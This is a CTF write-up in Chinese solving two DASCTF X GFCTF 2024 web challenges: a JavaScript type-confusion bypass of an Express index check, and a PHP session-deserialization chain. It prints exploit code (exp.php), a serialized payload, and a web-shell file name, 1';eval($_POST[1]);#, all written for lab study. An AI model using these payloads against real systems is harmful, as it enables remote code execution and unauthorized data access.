JavaScript-类型混淆赛题笔记 题目出处:DASCTF X GFCTF 2024 -Cool_index
记录一下,也算是成长的经历之一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import express from "express" ;import jwt from "jsonwebtoken" ;import cookieParser from "cookie-parser" ;import crypto from "crypto" ;const FLAG = process.env .DASFLAG || "DASCTF{fake_flag}" ;const app = express ();app.use (express.json ()); app.use (cookieParser ()); app.use (express.static ("static" )); app.set ("view engine" , "ejs" ); const JWT_SECRET = crypto.randomBytes (64 ).toString ("hex" );console .log (JWT_SECRET )const articles = [ { line1 : "我还是在这里 我还是" , line2 : "如约而至地出现了" }, { line1 : "你们有成为更好的自己吗" , line2 : "真的吗 那可太好了" }, { line1 : "你知道吗 我经常说" , line2 : "把更多的时间花在 CTF 上(?)" }, { line1 : "这是一种信念感" , line2 : "就像我出来那给你们" }, { line1 : "我也希望你们能把更多时间花在热爱的事情上" , line2 : "我是一个特别固执的人" }, { line1 : "我从来不会在意别人跟我说什么" , line2 : "让我去做以及怎么做 我不管" }, { line1 : "如果 你也可以像我一样" , line2 : "那我觉得 这件事情" }, { line1 : "欢迎参加 DASCTF x GFCTF 2024!" , line2 : FLAG , }, ]; app.get ("/" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); res.render ("home" , { username : decoded.username , subscription : decoded.subscription , articles : articles, }); } catch (error) { res.clearCookie ("token" ); res.redirect ("/register" ); } } else { res.redirect ("/register" ); } }); app.get ("/register" , (req, res ) => { res.render ("register" ); }); app.post ("/register" , (req, res ) => { const { username, voucher } = req.body ; if (typeof username === "string" && (!voucher || typeof voucher === "string" )) { const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest" ); if (voucher && subscription === "guest" ) { return res.status (400 ).json ({ message : "邀请码无效" }); } const userToken = jwt.sign ({ username, subscription }, JWT_SECRET , { expiresIn : "1d" , }); res.cookie ("token" , userToken, { httpOnly : true }); return res.json ({ message : "注册成功" , subscription }); } return res.status (400 ).json ({ message : "用户名或邀请码无效" }); }); app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; console .log (index); if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); console .log (index) if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); } }); app.listen (3000 , () => { console .log ("3000" ); });
审计代码,发现Flag位于index为7的部分.开始审计我考虑了两个方向,一是利用index来获取受到访问控制的内容,二是利用secret泄露来进行JWT token伪造.
由于没有可用的secret泄露途径,考虑利用index来进行处理.
我们重点关注获取文章内容的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; console .log (index); if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); console .log (index) if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); } });
要求绕过以下Waf获取index为7的信息
1 2 3 4 5 6 WAF1 :if (req.body .index < 0 )WAF2 :if (decoded.subscription !== "premium" && index >= 7 )WAF3 :index = parseInt (index);if (Number .isNaN (index) || index > articles.length - 1 )
这里涉及到了Javascript类型混淆的知识点,先上payload.
Bypass WAF1 传入index值为”07 ]”.在执行req.body.index < 0
判断时,会尝试将“07 ]”转换成数字,但是失败;结果为NaN
值,NaN
<0为false,所以成功绕过waf1.
关于NaN… 全局属性 NaN
是一个表示非数字的值。
NaN
是全局对象 的一个属性。换句话说,它是全局作用域中的一个变量。
NaN
的初始值不是数字——与 Number.NaN
的值相同。在现代浏览器中,NaN
是一个不可配置、不可写的属性。即使不是这样,也要避免重写它。在程序中很少使用 NaN
。
有五种不同类型的操作返回 NaN
:
失败的数字转换(例如,显式转换,如 parseInt("blabla")
、Number(undefined)
,或隐式转换,如 Math.abs(undefined)
)
计算结果不是实数的数学运算(例如,Math.sqrt(-1)
)
不定式(例如,0 * Infinity
、1 ** Infinity
、Infinity / Infinity
、Infinity - Infinity
)
一个操作数被强制转换为 NaN
的方法或表达式(例如,7 ** NaN
、7 * "blabla"
)——这意味着 NaN
具有传染性
将无效值表示为数字的其他情况(例如,无效的 Date new Date("blabla").getTime()
、"".charCodeAt(1)
)
更多信息:NaN - JavaScript | MDN (mozilla.org)
Bypass WAF2 premium:false
判断:”07 ]”>=7为false:同上,利用解析NaN漏洞进行绕过.
Bypass WAF3 一些附加知识…
parseInt
函数的工作原理:
扫描和转换:
parseInt
从给定字符串的第一个字符开始扫描。
它会跳过所有前导空白字符(比如空格、制表符等直到遇到第一个非空白字符)。
一旦它开始解析数字,它会继续解析直到遇到第一个非数字字符。
解析 “07 ]”:
对于字符串 "07 ]"
,parseInt
从第一个字符 '0'
开始解析。
它继续解析 '7'
,因为这还是数字的一部分。
当遇到空格 ' '
(这是第一个非数字字符),parseInt
停止解析。
因此,parseInt("07 ]")
会成功地解析并返回数字 7
。
所以index 会被更新为7,不会触发**if (Number.isNaN(index) || index > articles.length - 1)**的检查,从而完成了最后一层绕过.
flag:DASCTF{b76059e6-3899-4269-b0bb-36e190cc98c0}
Web1234复现题解 源码 class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 <?php class Admin { public $Config ; public function __construct ($Config ) { $Config ->nickname = (is_string ($Config ->nickname) ? $Config ->nickname : "" ); $Config ->sex = (is_string ($Config ->sex) ? $Config ->sex : "" ); $Config ->mail = (is_string ($Config ->mail) ? $Config ->mail : "" ); $Config ->telnum = (is_string ($Config ->telnum) ? $Config ->telnum : "" ); $this ->Config = $Config ; echo ' <form method="POST" enctype="multipart/form-data"> <input type="file" name="avatar" > <input type="text" name="nickname" placeholder="nickname"/> <input type="text" name="sex" placeholder="sex"/> <input type="text" name="mail" placeholder="mail"/> <input type="text" name="telnum" placeholder="telnum"/> <input type="submit" name="m" value="edit"/> </form>' ; } public function editconf ($avatar , $nickname , $sex , $mail , $telnum ) { $Config = $this ->Config; $Config ->avatar = $this ->upload ($avatar ); $Config ->nickname = $nickname ; $Config ->sex = (preg_match ("/男|女/" , $sex , $matches ) ? $matches [0 ] : "武装直升机" ); $Config ->mail = (preg_match ('/.*@.*\..*/' , $mail ) ? $mail : "" ); $Config ->telnum = substr ($telnum , 0 , 11 ); $this ->Config = $Config ; file_put_contents ("/tmp/Config" , serialize ($Config )); if (filesize ("record.php" ) > 0 ){ [new Log ($Config ),"log" ](); } } public function resetconf ( ) { file_put_contents ("/tmp/Config" , base64_decode ('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9' )); } public function upload ($avatar ) { $path = "/tmp/" .preg_replace ("/\.\./" , "" , $avatar ['fname' ]); file_put_contents ($path ,$avatar ['fdata' ]); return $path ; } public function __wakeup ( ) { $this ->Config = ":(" ; } public function __destruct ( ) { echo $this ->Config->showconf (); } } class Config { public $uname ; public $passwd ; public $avatar ; public $nickname ; public $sex ; public $mail ; public $telnum ; public function __sleep ( ) { echo "<script>alert('edit conf success\\n" ; echo preg_replace ('/<br>/' ,'\n' ,$this ->showconf ()); echo "')</script>" ; return array ("uname" ,"passwd" ,"avatar" ,"nickname" ,"sex" ,"mail" ,"telnum" ); } public function showconf ( ) { $show = "<img src=\"data:image/png;base64," .base64_encode (file_get_contents ($this ->avatar))."\"/><br>" ; $show .= "nickname: $this ->nickname<br>" ; $show .= "sex: $this ->sex<br>" ; $show .= "mail: $this ->mail<br>" ; $show .= "telnum: $this ->telnum<br>" ; return $show ; } public function __wakeup ( ) { if (is_string ($_GET ['backdoor' ])){ $func = $_GET ['backdoor' ]; $func (); } } } class Log { public $data ; public function __construct ($Config ) { $this ->data = PHP_EOL.'$_' .time ().' = \'' ."Edit: avatar->$Config ->avatar, nickname->$Config ->nickname, sex->$Config ->sex, mail->$Config ->mail, telnum->$Config ->telnum" .'\';' .PHP_EOL; } public function __toString ( ) { if ($this ->data === "log_start()" ){ file_put_contents ("record.php" ,"<?php\nerror_reporting(0);\n" ); } return ":O" ; } public function log ( ) { file_put_contents ('record.php' , $this ->data, FILE_APPEND); } }
index.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );include "class.php" ;$Config = unserialize (file_get_contents ("/tmp/Config" ));foreach ($_POST as $key =>$value ){ if (!is_array ($value )){ $param [$key ] = addslashes ($value ); } } if ($_GET ['uname' ] === $Config ->uname && md5 (md5 ($_GET ['passwd' ])) === $Config ->passwd){ $Admin = new Admin ($Config ); if ($_POST ['m' ] === 'edit' ){ $avatar ['fname' ] = $_FILES ['avatar' ]['name' ]; $avatar ['fdata' ] = file_get_contents ($_FILES ['avatar' ]['tmp_name' ]); $nickname = $param ['nickname' ]; $sex = $param ['sex' ]; $mail = $param ['mail' ]; $telnum = $param ['telnum' ]; $Admin ->editconf ($avatar , $nickname , $sex , $mail , $telnum ); }elseif ($_POST ['m' ] === 'reset' ) { $Admin ->resetconf (); } }else { die ("pls login! :)" ); }
分析&题解 在config里找到一串密码:
1 O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"[email protected] ";s:6:"telnum";s:11:"12345678901";}
使用?uname=admin&passwd=1q2w3e
登录
hint:session_start(),注意链子挖掘
思路 通过session_start
启动session
反序列化
以PHP为例,理解session
的原理
PHP脚本使用 session_start()时开启session
会话,会自动检测PHPSESSID
如果Cookie
中存在,获取PHPSESSID
如果Cookie
中不存在,创建一个PHPSESSID
,并通过响应头以Cookie
形式保存到浏览器
初始化超全局变量$_SESSION
为一个空数组
PHP通过PHPSESSID
去指定位置(PHPSESSID
文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
中
不存在该文件: session_start()创建一个PHPSESSID
命名文件
程序执行结束,将$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中
反序列化链路挖掘
exp.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Admin { public $Config ; } class Config { public $uname ; public $passwd ; public $avatar ; public $nickname ; public $sex ; public $mail ; public $telnum ; } class Log { public $data ; } $exp =new Config ();$sink =new Log ();$sink ->data="log_start()" ;$exp ->avatar=$sink ;echo serialize ($exp );
sess_Ec3o
文件内容
1 aaa|O:6 :"Config" :7 :{s:5 :"uname" ;N;s:6 :"passwd" ;N;s:6 :"avatar" ;O:3 :"Log" :1 :{s:4 :"data" ;s:11 :"log_start()" ;}s:8 :"nickname" ;N;s:3 :"sex" ;N;s:4 :"mail" ;N;s:6 :"telnum" ;N;}
在⽂件名处写马,⽂件名为 1’;eval($_POST[1]);# 即可
注意删去Cookie,防止再次写入 <?php error_reporting(0);
复现参考题解|【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)-CSDN博客